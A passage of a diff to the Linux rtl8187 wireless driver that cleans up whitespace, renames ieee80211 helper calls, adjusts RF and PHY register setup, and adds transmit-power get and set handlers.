0x21, 0x27); else write_phy_ofdm(dev, 0x21, 0x37); - + write_phy_ofdm(dev, 0x25, 0x20); write_phy_ofdm(dev, 0x11, 0x6); - + if(priv->card_8185 == 1 && priv->card_8185_Bversion) write_phy_ofdm(dev, 0x27, 0x8); else write_phy_ofdm(dev, 0x27, 0x88); - + write_phy_ofdm(dev, 0x14, 0); write_phy_ofdm(dev, 0x16, 0); write_phy_ofdm(dev, 0x15, 0x40); write_phy_ofdm(dev, 0x17, 0x40); - + write_phy_ofdm(dev, 0x0d, rtl8225_gain[gain * 4]); write_phy_ofdm(dev, 0x23, rtl8225_gain[gain * 4 + 1]); write_phy_ofdm(dev, 0x1b, rtl8225_gain[gain * 4 + 2]); write_phy_ofdm(dev, 0x1d, rtl8225_gain[gain * 4 + 3]); - //rtl8225_set_gain_usb(dev, gain); + //rtl8225_set_gain_usb(dev, gain); } #endif @@ -193,7 +217,7 @@ // ThreeWireReg tdata; int i; short bit, rw; - + u8 wLength = 6; u8 rLength = 12; u8 low2high = 0; @@ -207,20 +231,20 @@ dataRead = 0; - oval &= ~0xf; + oval &= ~0xf; write_nic_word(dev, RFPinsOutput, oval | BB_HOST_BANG_EN ); udelay(4); write_nic_word(dev, RFPinsOutput, oval ); udelay(5); - + rw = 0; - + mask = (low2high) ? 0x01 : (((u32)0x01)<<(32-1)); for(i = 0; i < wLength/2; i++) { bit = ((data2Write&mask) != 0) ? 1 : 0; write_nic_word(dev, RFPinsOutput, bit|oval | rw); udelay(1); - + write_nic_word(dev, RFPinsOutput, bit|oval | BB_HOST_BANG_CLK | rw); udelay(2); write_nic_word(dev, RFPinsOutput, bit|oval | BB_HOST_BANG_CLK | rw); udelay(2); @@ -233,9 +257,9 @@ write_nic_word(dev, RFPinsOutput, bit|oval | rw); udelay(2); break; } - + bit = ((data2Write&mask) != 0) ? 1: 0; - + write_nic_word(dev, RFPinsOutput, oval|bit|rw| BB_HOST_BANG_CLK); udelay(2); write_nic_word(dev, RFPinsOutput, oval|bit|rw| BB_HOST_BANG_CLK); udelay(2); @@ -252,22 +276,22 @@ for(i = 0; i < rLength; i++) { write_nic_word(dev, RFPinsOutput, rw|oval); udelay(1); - + write_nic_word(dev, RFPinsOutput, rw|oval|BB_HOST_BANG_CLK); udelay(2); write_nic_word(dev, RFPinsOutput, rw|oval|BB_HOST_BANG_CLK); udelay(2); write_nic_word(dev, RFPinsOutput, rw|oval|BB_HOST_BANG_CLK); udelay(2); tmp = read_nic_word(dev, RFPinsInput); - + dataRead |= (tmp & BB_HOST_BANG_CLK ? mask : 0); write_nic_word(dev, RFPinsOutput, (rw|oval)); udelay(2); mask = (low2high) ? (mask<<1) : (mask>>1); } - + write_nic_word(dev, RFPinsOutput, BB_HOST_BANG_EN|BB_HOST_BANG_RW|oval); udelay(2); - write_nic_word(dev, RFPinsEnable, oval2); + write_nic_word(dev, RFPinsEnable, oval2); write_nic_word(dev, RFPinsSelect, oval3); // Set To SW Switch write_nic_word(dev, RFPinsOutput, 0x3a0); @@ -280,61 +304,61 @@ u16 out,select; u8 bit; u32 bangdata = (data << 4) | (adr & 0xf); - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + out = read_nic_word(dev, RFPinsOutput) & 0xfff3; - + write_nic_word(dev,RFPinsEnable, (read_nic_word(dev,RFPinsEnable) | 0x7)); - + select = read_nic_word(dev, RFPinsSelect); - - write_nic_word(dev, RFPinsSelect, select | 0x7 | + + write_nic_word(dev, RFPinsSelect, select | 0x7 | ((priv->card_type == USB) ? 0 : SW_CONTROL_GPIO)); - + force_pci_posting(dev); udelay(10); - + write_nic_word(dev, RFPinsOutput, out | BB_HOST_BANG_EN );//| 0x1fff); - + force_pci_posting(dev); udelay(2); - + write_nic_word(dev, RFPinsOutput, out); - + force_pci_posting(dev); udelay(10); - - + + for(i=15; i>=0;i--){ - + bit = (bangdata & (1<> i; - + write_nic_word(dev, RFPinsOutput, bit | out); - + write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); i--; bit = (bangdata & (1<> i; - + write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); write_nic_word(dev, RFPinsOutput, bit | out); } - + write_nic_word(dev, RFPinsOutput, out | BB_HOST_BANG_EN); - + force_pci_posting(dev); udelay(10); - write_nic_word(dev, RFPinsOutput, out | + write_nic_word(dev, RFPinsOutput, out | ((priv->card_type == USB) ? 4 : BB_HOST_BANG_EN)); - write_nic_word(dev, RFPinsSelect, select | - ((priv->card_type == USB) ? 0 : SW_CONTROL_GPIO)); + write_nic_word(dev, RFPinsSelect, select | + ((priv->card_type == USB) ? 0 : SW_CONTROL_GPIO)); if(priv->card_type == USB) mdelay(2); @@ -348,30 +372,30 @@ short vz2 = 1; /* sw to reg pg 1 */ write_rtl8225(dev, 0, 0x1b7); - + /* reg 8 pg 1 = 23*/ if( read_rtl8225(dev, 8) != 0x588) vz2 = 0; - - else /* reg 9 pg 1 = 24 */ + + else /* reg 9 pg 1 = 24 */ if( read_rtl8225(dev, 9) != 0x700) vz2 = 0; - - /* sw back to pg 0 */ + + /* sw back to pg 0 */ write_rtl8225(dev, 0, 0xb7); return vz2; - + } #if 0 void rtl8225_rf_close(struct net_device *dev) { - write_rtl8225(dev, 0x4, 0x1f); - + write_rtl8225(dev, 0x4, 0x1f); + force_pci_posting(dev); mdelay(1); - + rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_OFF); rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_OFF); } @@ -380,24 +404,24 @@ short rtl8225_rf_set_sens(struct net_device *dev, short sens) { if (sens <0 || sens > 6) return -1; - + if(sens > 4) write_rtl8225(dev, 0x0c, 0x850); - else + else write_rtl8225(dev, 0x0c, 0x50); sens= 6-sens; rtl8225_set_gain(dev, sens); - + write_phy_cck(dev, 0x41, rtl8225_threshold[sens]); return 0; - + } #endif void rtl8225z2_SetTXPowerLevel(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + // int GainIdx; // int GainSetting; int i; @@ -406,44 +430,47 @@ u8 max_cck_power_level; //u8 min_cck_power_level; u8 max_ofdm_power_level; - u8 min_ofdm_power_level; + u8 min_ofdm_power_level; u8 cck_power_level = 0xff & priv->chtxpwr[ch]; u8 ofdm_power_level = 0xff & priv->chtxpwr_ofdm[ch]; - - + + max_cck_power_level = 15; //min_cck_power_level = 0; max_ofdm_power_level = 25; // 12 -> 25 min_ofdm_power_level = 10; - + /* CCK power setting */ if(cck_power_level > max_cck_power_level) + { cck_power_level = max_cck_power_level; - + priv->chtxpwr[ch] = max_cck_power_level; + } + cck_power_level += priv->cck_txpwr_base; - + if(cck_power_level > 35) cck_power_level = 35; - - if(ch == 14) + + if(ch == 14) cck_power_table = rtl8225z2_tx_power_cck_ch14; - else + else cck_power_table = rtl8225z2_tx_power_cck; - - + + for(i=0;i<8;i++){ - + power = cck_power_table[i]; write_phy_cck(dev, 0x44 + i, power); } - + //write_nic_byte(dev, TX_GAIN_CCK, power); //2005.11.17, write_nic_byte(dev, TX_GAIN_CCK, ZEBRA2_CCK_OFDM_GAIN_SETTING[cck_power_level]); - + force_pci_posting(dev); mdelay(1); - + /* OFDM power setting */ // Old: // if(ofdm_power_level > max_ofdm_power_level) @@ -454,26 +481,26 @@ ofdm_power_level = max_ofdm_power_level; else ofdm_power_level += min_ofdm_power_level; - + ofdm_power_level += priv->ofdm_txpwr_base; - + if(ofdm_power_level > 35) ofdm_power_level = 35; - + rtl8185_set_anaparam2(dev,RTL8225_ANAPARAM2_ON); - + write_phy_ofdm(dev,2,0x42); write_phy_ofdm(dev,5,0); write_phy_ofdm(dev,6,0x40); write_phy_ofdm(dev,7,0); - write_phy_ofdm(dev,8,0x40); - + write_phy_ofdm(dev,8,0x40); + //write_nic_byte(dev, TX_GAIN_OFDM, ofdm_power_level); //2005.11.17, write_nic_byte(dev, TX_GAIN_OFDM, ZEBRA2_CCK_OFDM_GAIN_SETTING[ofdm_power_level]); - + force_pci_posting(dev); mdelay(1); //write_nic_byte(dev, TX_AGC_CONTROL,4); @@ -483,39 +510,39 @@ void rtl8225_set_mode(struct net_device *dev, short modeb) { write_phy_ofdm(dev, 0x15, (modeb ? 0x0 : 0x40)); - write_phy_ofdm(dev, 0x17, (modeb ? 0x0 : 0x40)); + write_phy_ofdm(dev, 0x17, (modeb ? 0x0 : 0x40)); } #endif void rtl8225z2_rf_set_chan(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short gset = (priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_54g(priv->ieee80211->current_network)) || + ieee80211_is_54g_rtl7(priv->ieee80211->current_network)) || priv->ieee80211->iw_mode == IW_MODE_MONITOR; - + rtl8225z2_SetTXPowerLevel(dev, ch); - + write_rtl8225(dev, 0x7, rtl8225_chan[ch]); - + force_pci_posting(dev); mdelay(10); - + write_nic_byte(dev,SIFS,0x22);// SIFS: 0x22 - + if(gset) - write_nic_byte(dev,DIFS,20); //DIFS: 20 + write_nic_byte(dev,DIFS,20); //DIFS: 20 else - write_nic_byte(dev,DIFS,0x24); //DIFS: 36 - + write_nic_byte(dev,DIFS,0x24); //DIFS: 36 + if(priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_shortslot(priv->ieee80211->current_network)) + ieee80211_is_shortslot_rtl7(priv->ieee80211->current_network)) write_nic_byte(dev,SLOT,0x9); //SLOT: 9 - + else write_nic_byte(dev,SLOT,0x14); //SLOT: 20 (0x14) - - + + if(gset){ write_nic_byte(dev,EIFS,91 - 20); // EIFS: 91 (0x5B) write_nic_byte(dev,CW_VAL,0x73); //CW VALUE: 0x37 @@ -529,68 +556,68 @@ } #if 0 -void rtl8225_host_pci_init(struct net_device *dev) +void rtl8225_host_pci_init(struct net_device *dev) { write_nic_word(dev, RFPinsOutput, 0x480); - + rtl8185_rf_pins_enable(dev); - + //if(priv->card_8185 == 2 && priv->enable_gpio0 ) /* version D */ //write_nic_word(dev, RFPinsSelect, 0x88); //else write_nic_word(dev, RFPinsSelect, 0x88 | SW_CONTROL_GPIO); /* 0x488 | SW_CONTROL_GPIO */ - + write_nic_byte(dev, GP_ENABLE, 0); - + force_pci_posting(dev); mdelay(200); - + write_nic_word(dev, GP_ENABLE, 0xff & (~(1<<6))); /* bit 6 is for RF on/off detection */ - + } -void rtl8225_host_usb_init(struct net_device *dev) +void rtl8225_host_usb_init(struct net_device *dev) { write_nic_byte(dev,RFPinsSelect+1,0); write_nic_byte(dev,GPIO,0); - + write_nic_byte_E(dev,0x53,read_nic_byte_E(dev,0x53) | (1<<7)); - + write_nic_byte(dev,RFPinsSelect+1,4); write_nic_byte(dev,GPIO,0x20); write_nic_byte(dev,GP_ENABLE,0); - - /* Config BB & RF */ + + /* Config BB & RF */ write_nic_word(dev, RFPinsOutput, 0x80); write_nic_word(dev, RFPinsSelect, 0x80); write_nic_word(dev, RFPinsEnable, 0x80); - + mdelay(100); - mdelay(1000); + mdelay(1000); } #endif -void rtl8225z2_rf_init(struct net_device *dev) +void rtl8225z2_rf_init(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; short channel = 1; u16 brsr; u32 data,addr; - + priv->chan = channel; rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); - + if(priv->card_type == USB) rtl8225_host_usb_init(dev); @@ -598,42 +625,42 @@ rtl8225_host_pci_init(dev); write_nic_dword(dev, RF_TIMING, 0x000a8008); - + brsr = read_nic_word(dev, BRSR); - - write_nic_word(dev, BRSR, 0xffff); + + write_nic_word(dev, BRSR, 0xffff); write_nic_dword(dev, RF_PARA, 0x100044); - + #if 1 //0->1 rtl8180_set_mode(dev, EPROM_CMD_CONFIG); write_nic_byte(dev, CONFIG3, 0x44); rtl8180_set_mode(dev, EPROM_CMD_NORMAL); #endif - - + + rtl8185_rf_pins_enable(dev); // mdelay(1000); write_rtl8225(dev, 0x0, 0x2bf); mdelay(1); - - + + write_rtl8225(dev, 0x1, 0xee0); mdelay(1); write_rtl8225(dev, 0x2, 0x44d); mdelay(1); write_rtl8225(dev, 0x3, 0x441); mdelay(1); - + write_rtl8225(dev, 0x4, 0x8c3);mdelay(1); - - - + + + write_rtl8225(dev, 0x5, 0xc72);mdelay(1); // } - + write_rtl8225(dev, 0x6, 0xe6); mdelay(1); write_rtl8225(dev, 0x7, ((priv->card_type == USB)? 0x82a : rtl8225_chan[channel])); mdelay(1); @@ -653,28 +680,28 @@ write_rtl8225(dev, 0xe, 0x2b); mdelay(1); - write_rtl8225(dev, 0xf, 0x114); - - + write_rtl8225(dev, 0xf, 0x114); + + mdelay(100); - - + + //if(priv->card_type != USB) /* maybe not needed even for 8185 */ -// write_rtl8225(dev, 0x7, rtl8225_chan[channel]); - +// write_rtl8225(dev, 0x7, rtl8225_chan[channel]); + write_rtl8225(dev, 0x0, 0x1b7); - + for(i=0;i<95;i++){ write_rtl8225(dev, 0x1, (u8)(i+1)); - + #if 0 - if(priv->phy_ver == 1) + if(priv->phy_ver == 1) /* version A */ write_rtl8225(dev, 0x2, rtl8225a_rxgain[i]); else #endif /* version B & C & D*/ - + write_rtl8225(dev, 0x2, rtl8225z2_rxgain[i]); } write_rtl8225(dev, 0x3, 0x80); @@ -683,16 +710,16 @@ write_rtl8225(dev, 0x0, 0xb7); write_rtl8225(dev, 0x2, 0xc4d); - + if(priv->card_type == USB){ // force_pci_posting(dev); mdelay(200); - + write_rtl8225(dev, 0x2, 0x44d); - + // force_pci_posting(dev); mdelay(100); - + }//End of if(priv->card_type == USB) /* FIXME!! rtl8187 we have to check if calibrarion * is successful and eventually cal. again (repeat @@ -713,23 +740,23 @@ } } //force_pci_posting(dev); - - mdelay(200); //200 for 8187 - - + + mdelay(200); //200 for 8187 + + // //if(priv->card_type != USB){ // write_rtl8225(dev, 0x2, 0x44d); // write_rtl8225(dev, 0x7, rtl8225_chan[channel]); // write_rtl8225(dev, 0x2, 0x47d); -// +// // force_pci_posting(dev); // mdelay(100); -// +// // write_rtl8225(dev, 0x2, 0x44d); // //} - - write_rtl8225(dev, 0x0, 0x2bf); - + + write_rtl8225(dev, 0x0, 0x2bf); + if(priv->card_type != USB) rtl8185_rf_pins_enable(dev); //set up ZEBRA AGC table, 2005.11.17, @@ -744,20 +771,20 @@ mdelay(1); } -#if 0 +#if 0 for(i=0;i<128;i++){ write_phy_ofdm(dev, 0xb, rtl8225_agc[i]); - - mdelay(1); + + mdelay(1); write_phy_ofdm(dev, 0xa, (u8)i+ 0x80); - - mdelay(1); + + mdelay(1); } #endif - + force_pci_posting(dev); mdelay(1); - + write_phy_ofdm(dev, 0x0, 0x1); mdelay(1); write_phy_ofdm(dev, 0x1, 0x2); mdelay(1); write_phy_ofdm(dev, 0x2, ((priv->card_type == USB)? 0x42 : 0x62)); mdelay(1); @@ -771,20 +798,20 @@ write_phy_ofdm(dev, 0xa, 0x8); mdelay(1); - //write_phy_ofdm(dev, 0x18, 0xef); + //write_phy_ofdm(dev, 0x18, 0xef); // } //} write_phy_ofdm(dev, 0xb, 0x80); mdelay(1); write_phy_ofdm(dev, 0xc, 0x1);mdelay(1); - + //if(priv->card_type != USB) - write_phy_ofdm(dev, 0xd, 0x43); - + write_phy_ofdm(dev, 0xd, 0x43); + write_phy_ofdm(dev, 0xe, 0xd3);mdelay(1); - + #if 0 if(priv->card_8185 == 1){ if(priv->card_8185_Bversion) @@ -796,17 +823,17 @@ write_phy_ofdm(dev, 0xf, 0x38);mdelay(1); /*ver D & 8187*/ // } - + // if(priv->card_8185 == 1 && priv->card_8185_Bversion) // write_phy_ofdm(dev, 0x10, 0x04);/*ver B*/ // else write_phy_ofdm(dev, 0x10, 0x84);mdelay(1); /*ver C & D & 8187*/ - + write_phy_ofdm(dev, 0x11, 0x07);mdelay(1); /*agc resp time 700*/ - + // if(priv->card_8185 == 2){ /* Ver D & 8187*/ write_phy_ofdm(dev, 0x12, 0x20);mdelay(1); @@ -824,47 +851,47 @@ write_phy_ofdm(dev, 0x15, 0x40); mdelay(1); write_phy_ofdm(dev, 0x16, 0x0); mdelay(1); write_phy_ofdm(dev, 0x17, 0x40); mdelay(1); - + // if (priv->card_type == USB) // write_phy_ofdm(dev, 0x18, 0xef); - + write_phy_ofdm(dev, 0x18, 0xef);mdelay(1); - + write_phy_ofdm(dev, 0x19, 0x19); mdelay(1); write_phy_ofdm(dev, 0x1a, 0x20); mdelay(1); write_phy_ofdm(dev, 0x1b, 0x15);mdelay(1); - + write_phy_ofdm(dev, 0x1c, 0x4);mdelay(1); write_phy_ofdm(dev, 0x1d, 0xc5);mdelay(1); //2005.11.17, - + write_phy_ofdm(dev, 0x1e, 0x95);mdelay(1); write_phy_ofdm(dev, 0x1f, 0x75); mdelay(1); // } - + write_phy_ofdm(dev, 0x20, 0x1f);mdelay(1); write_phy_ofdm(dev, 0x21, 0x17);mdelay(1); - + write_phy_ofdm(dev, 0x22, 0x16);mdelay(1); // if(priv->card_type != USB) write_phy_ofdm(dev, 0x23, 0x80);mdelay(1); //FIXME maybe not needed // <> - + write_phy_ofdm(dev, 0x24, 0x46); mdelay(1); write_phy_ofdm(dev, 0x25, 0x00); mdelay(1); write_phy_ofdm(dev, 0x26, 0x90); mdelay(1); write_phy_ofdm(dev, 0x27, 0x88); mdelay(1); - + // <> Set init. gain to m74dBm. - + rtl8225z2_set_gain(dev,4); - + write_phy_cck(dev, 0x0, 0x98); mdelay(1); write_phy_cck(dev, 0x3, 0x20); mdelay(1); write_phy_cck(dev, 0x4, 0x7e); mdelay(1); @@ -875,6 +902,9 @@ /* Ver C & D & 8187*/ write_phy_cck(dev, 0x8, 0x2e);mdelay(1); + write_phy_cck(dev, 0x9, 0x11);mdelay(1); + write_phy_cck(dev, 0xa, 0x17);mdelay(1); + write_phy_cck(dev, 0xb, 0x11);mdelay(1); write_phy_cck(dev, 0x10, ((priv->card_type == USB) ? 0x9b: 0x93)); mdelay(1); write_phy_cck(dev, 0x11, 0x88); mdelay(1); @@ -885,52 +915,59 @@ else #endif write_phy_cck(dev, 0x13, 0xd0); /* Ver C & D & 8187*/ - - write_phy_cck(dev, 0x19, 0x0); - write_phy_cck(dev, 0x1a, 0xa0); - write_phy_cck(dev, 0x1b, 0x8); - write_phy_cck(dev, 0x40, 0x86); /* CCK Carrier Sense Threshold */ - - write_phy_cck(dev, 0x41, 0x8d);mdelay(1); - +// write_phy_cck(dev, 0x19, 0x0); +// write_phy_cck(dev, 0x1a, 0xa0); +// write_phy_cck(dev, 0x1b, 0x8); +// write_phy_cck(dev, 0x40, 0x86); /* CCK Carrier Sense Threshold */ + write_phy_cck(dev, 0x19, 0x0); mdelay(1); + write_phy_cck(dev, 0x1a, 0xa0); mdelay(1); + write_phy_cck(dev, 0x1b, 0x8); mdelay(1); + write_phy_cck(dev, 0x1d, 0x0); mdelay(1); + write_phy_cck(dev, 0x40, 0x86); /* CCK Carrier Sense Threshold */ mdelay(1); + write_phy_cck(dev, 0x41, 0x9d); mdelay(1); + + +// write_phy_cck(dev, 0x41, 0x8d);mdelay(1); + + write_phy_cck(dev, 0x42, 0x15); mdelay(1); write_phy_cck(dev, 0x43, 0x18); mdelay(1); - - + + write_phy_cck(dev, 0x44, 0x36); mdelay(1); write_phy_cck(dev, 0x45, 0x35); mdelay(1); write_phy_cck(dev, 0x46, 0x2e); mdelay(1); write_phy_cck(dev, 0x47, 0x25); mdelay(1); write_phy_cck(dev, 0x48, 0x1c); mdelay(1); write_phy_cck(dev, 0x49, 0x12); mdelay(1); - write_phy_cck(dev, 0x4a, 0x9); mdelay(1); - write_phy_cck(dev, 0x4b, 0x4); mdelay(1); + write_phy_cck(dev, 0x4a, 0x09); mdelay(1); + write_phy_cck(dev, 0x4b, 0x04); mdelay(1); write_phy_cck(dev, 0x4c, 0x5);mdelay(1); write_nic_byte(dev, 0x5b, 0x0d); mdelay(1); - + // <> // // TESTR 0xb 8187 // write_phy_cck(dev, 0x10, 0x93);// & 0xfb); -// +// // //if(priv->card_type != USB){ // write_phy_ofdm(dev, 0x2, 0x62); // write_phy_ofdm(dev, 0x6, 0x0); // write_phy_ofdm(dev, 0x8, 0x0); // //} - + rtl8225z2_SetTXPowerLevel(dev, channel); - + write_phy_cck(dev, 0x10, 0x9b); mdelay(1); /* Rx ant A, 0xdb for B */ write_phy_ofdm(dev, 0x26, 0x90); mdelay(1); /* Rx ant A, 0x10 for B */ - + rtl8185_tx_antenna(dev, 0x3); /* TX ant A, 0x0 for B */ - - /* switch to high-speed 3-wire + + /* switch to high-speed 3-wire * last digit. 2 for both cck and ofdm */ if(priv->card_type == USB) @@ -943,23 +980,23 @@ // if(priv->card_type != USB) // rtl8225_set_gain(dev, 4); /* FIXME this '1' is random */ // <> // rtl8225_set_mode(dev, 1); /* FIXME start in B mode */ // <> -// +// // /* make sure is waken up! */ // write_rtl8225(dev,0x4, 0x9ff); -// rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); +// rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); // rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_ON); - + rtl8225_rf_set_chan(dev, priv->chan); //write_nic_word(dev,BRSR,brsr); - + //rtl8225z2_rf_set_mode(dev); } -void rtl8225z2_rf_set_mode(struct net_device *dev) +void rtl8225z2_rf_set_mode(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + if(priv->ieee80211->mode == IEEE_A) { write_rtl8225(dev, 0x5, 0x1865); @@ -970,15 +1007,15 @@ write_phy_ofdm(dev, 0xb, 0x99); write_phy_ofdm(dev, 0xf, 0x20); write_phy_ofdm(dev, 0x11, 0x7); - + rtl8225z2_set_gain(dev,4); - + write_phy_ofdm(dev,0x15, 0x40); write_phy_ofdm(dev,0x17, 0x40); - + write_nic_dword(dev, 0x94,0x10000000); }else{ - + write_rtl8225(dev, 0x5, 0x1864); write_nic_dword(dev, RF_PARA, 0x10044); write_nic_dword(dev, RF_TIMING, 0xa8008); @@ -987,12 +1024,12 @@ write_phy_ofdm(dev, 0xb, 0x99); write_phy_ofdm(dev, 0xf, 0x20); write_phy_ofdm(dev, 0x11, 0x7); - + rtl8225z2_set_gain(dev,4); - + write_phy_ofdm(dev,0x15, 0x40); write_phy_ofdm(dev,0x17, 0x40); - + write_nic_dword(dev, 0x94,0x04000002); } } diff -Naur rtl8187_orig/beta-8187/r8180_wx.c rtl8187_rawtx/beta-8187/r8180_wx.c --- rtl8187_orig/beta-8187/r8180_wx.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8180_wx.c 2007-05-26 10:37:46.000000000 +0200 @@ -1,19 +1,19 @@ -/* +/* This file contains wireless extension handlers. This is part of rtl8180 OpenSource driver. - Copyright (C) Andrea Merello 2004-2005 + Copyright (C) Andrea Merello 2004-2005 Released under the terms of GPL (General Public Licence) - - Parts of this driver are based on the GPL part + + Parts of this driver are based on the GPL part of the official realtek driver. - - Parts of this driver are based on the rtl8180 driver skeleton + + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon. Parts of this driver are based on the Intel Pro Wireless 2100 GPL driver. - - We want to tanks the Authors of those projects and the Ndiswrapper + + We want to tanks the Authors of those projects and the Ndiswrapper project Authors. */ @@ -21,20 +21,21 @@ #include "r8187.h" #include "r8180_hw.h" +#include "r8180_rtl8225.h" #define RATE_COUNT 4 u32 rtl8180_rates[] = {1000000,2000000,5500000,11000000, 6000000,9000000,12000000,18000000,24000000,36000000,48000000,54000000}; - + static int r8180_wx_get_freq(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); - - return ieee80211_wx_get_freq(priv->ieee80211,a,wrqu,b); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + return ieee80211_wx_get_freq_rtl7(priv->ieee80211,a,wrqu,b); } @@ -45,28 +46,28 @@ { int *parms = (int *)b; int bi = parms[0]; - - struct r8180_priv *priv = ieee80211_priv(dev); - + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); DMESG("setting beacon interval to %x",bi); - + priv->ieee80211->beacon_interval=bi; rtl8180_commit(dev); up(&priv->wx_sem); - - return 0; + + return 0; } static int r8180_wx_set_forceassociate(struct net_device *dev, struct iw_request_info *aa, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv=ieee80211_priv(dev); + struct r8180_priv *priv=ieee80211_priv_rtl7(dev); int *parms = (int *)extra; - + priv->ieee80211->force_associate = (parms[0] > 0); - + return 0; } @@ -75,108 +76,157 @@ static int r8180_wx_get_mode(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv=ieee80211_priv(dev); + struct r8180_priv *priv=ieee80211_priv_rtl7(dev); - return ieee80211_wx_get_mode(priv->ieee80211,a,wrqu,b); + return ieee80211_wx_get_mode_rtl7(priv->ieee80211,a,wrqu,b); } -static int r8180_wx_get_rate(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_rate(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - return ieee80211_wx_get_rate(priv->ieee80211,info,wrqu,extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return ieee80211_wx_get_rate_rtl7(priv->ieee80211,info,wrqu,extra); } -static int r8180_wx_set_rate(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_rate(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); + ret = ieee80211_wx_set_rate_rtl7(priv->ieee80211,info,wrqu,extra); - ret = ieee80211_wx_set_rate(priv->ieee80211,info,wrqu,extra); - up(&priv->wx_sem); - + return ret; } -static int r8180_wx_set_rawtx(struct net_device *dev, - struct iw_request_info *info, - union iwreq_data *wrqu, char *extra) +static int r8180_wx_get_txpow(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - int ret; - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int i=0; down(&priv->wx_sem); - - ret = ieee80211_wx_set_rawtx(priv->ieee80211, info, wrqu, extra); - + wrqu->power.value = 0; + for(i=0; i<15; i++) + { + if(priv->chtxpwr[i] > wrqu->power.value) wrqu->power.value = priv->chtxpwr[i]; + if(priv->chtxpwr_ofdm[i] > wrqu->power.value) wrqu->power.value = priv->chtxpwr_ofdm[i]; + } + wrqu->power.fixed = 1; + wrqu->power.flags = IW_TXPOW_DBM; + wrqu->power.disabled = 0; up(&priv->wx_sem); - + + return 0; +} + +#if 1 +static int r8180_wx_set_txpow(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) +{ + int ret = 0, i=0; + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + down(&priv->wx_sem); + + if (wrqu->power.flags != IW_TXPOW_DBM) + { + ret = -EINVAL; + goto out; + } + + if(wrqu->power.value > priv->txpwr_max) + { + ret = -EINVAL; + goto out; + } + + if(wrqu->power.value < 0) + { + ret = -EINVAL; + goto out; + } + + for(i=1;i<15;i++) + { + priv->chtxpwr[i] = priv->chtxpwr_orig[i] - (priv->txpwr_max - wrqu->power.value); + if(priv->chtxpwr[i] > priv->chtxpwr_orig[i]) priv->chtxpwr[i] = 0; + + priv->chtxpwr_ofdm[i] = priv->chtxpwr_ofdm_orig[i] - (priv->txpwr_max - wrqu->power.value); + if(priv->chtxpwr_ofdm[i] > priv->chtxpwr_ofdm_orig[i]) priv->chtxpwr_ofdm[i] = 0; + } + rtl8225z2_SetTXPowerLevel(dev, 1); + + out: + up(&priv->wx_sem); + return ret; - + } +#endif -static int r8180_wx_set_crcmon(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_crcmon(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int *parms = (int *)extra; int enable = (parms[0] > 0); short prev = priv->crcmon; down(&priv->wx_sem); - - if(enable) + + if(enable) priv->crcmon=1; - else + else priv->crcmon=0; - DMESG("bad CRC in monitor mode are %s", + DMESG("bad CRC in monitor mode are %s", priv->crcmon ? "accepted" : "rejected"); if(prev != priv->crcmon && priv->up){ rtl8180_down(dev); rtl8180_up(dev); } - + up(&priv->wx_sem); - + return 0; } static int r8180_wx_set_mode(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); - - ret = ieee80211_wx_set_mode(priv->ieee80211,a,wrqu,b); - + + ret = ieee80211_wx_set_mode_rtl7(priv->ieee80211,a,wrqu,b); + rtl8187_set_rxconf(dev); - + up(&priv->wx_sem); return ret; } -static int rtl8180_wx_get_range(struct net_device *dev, - struct iw_request_info *info, +static int rtl8180_wx_get_range(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { struct 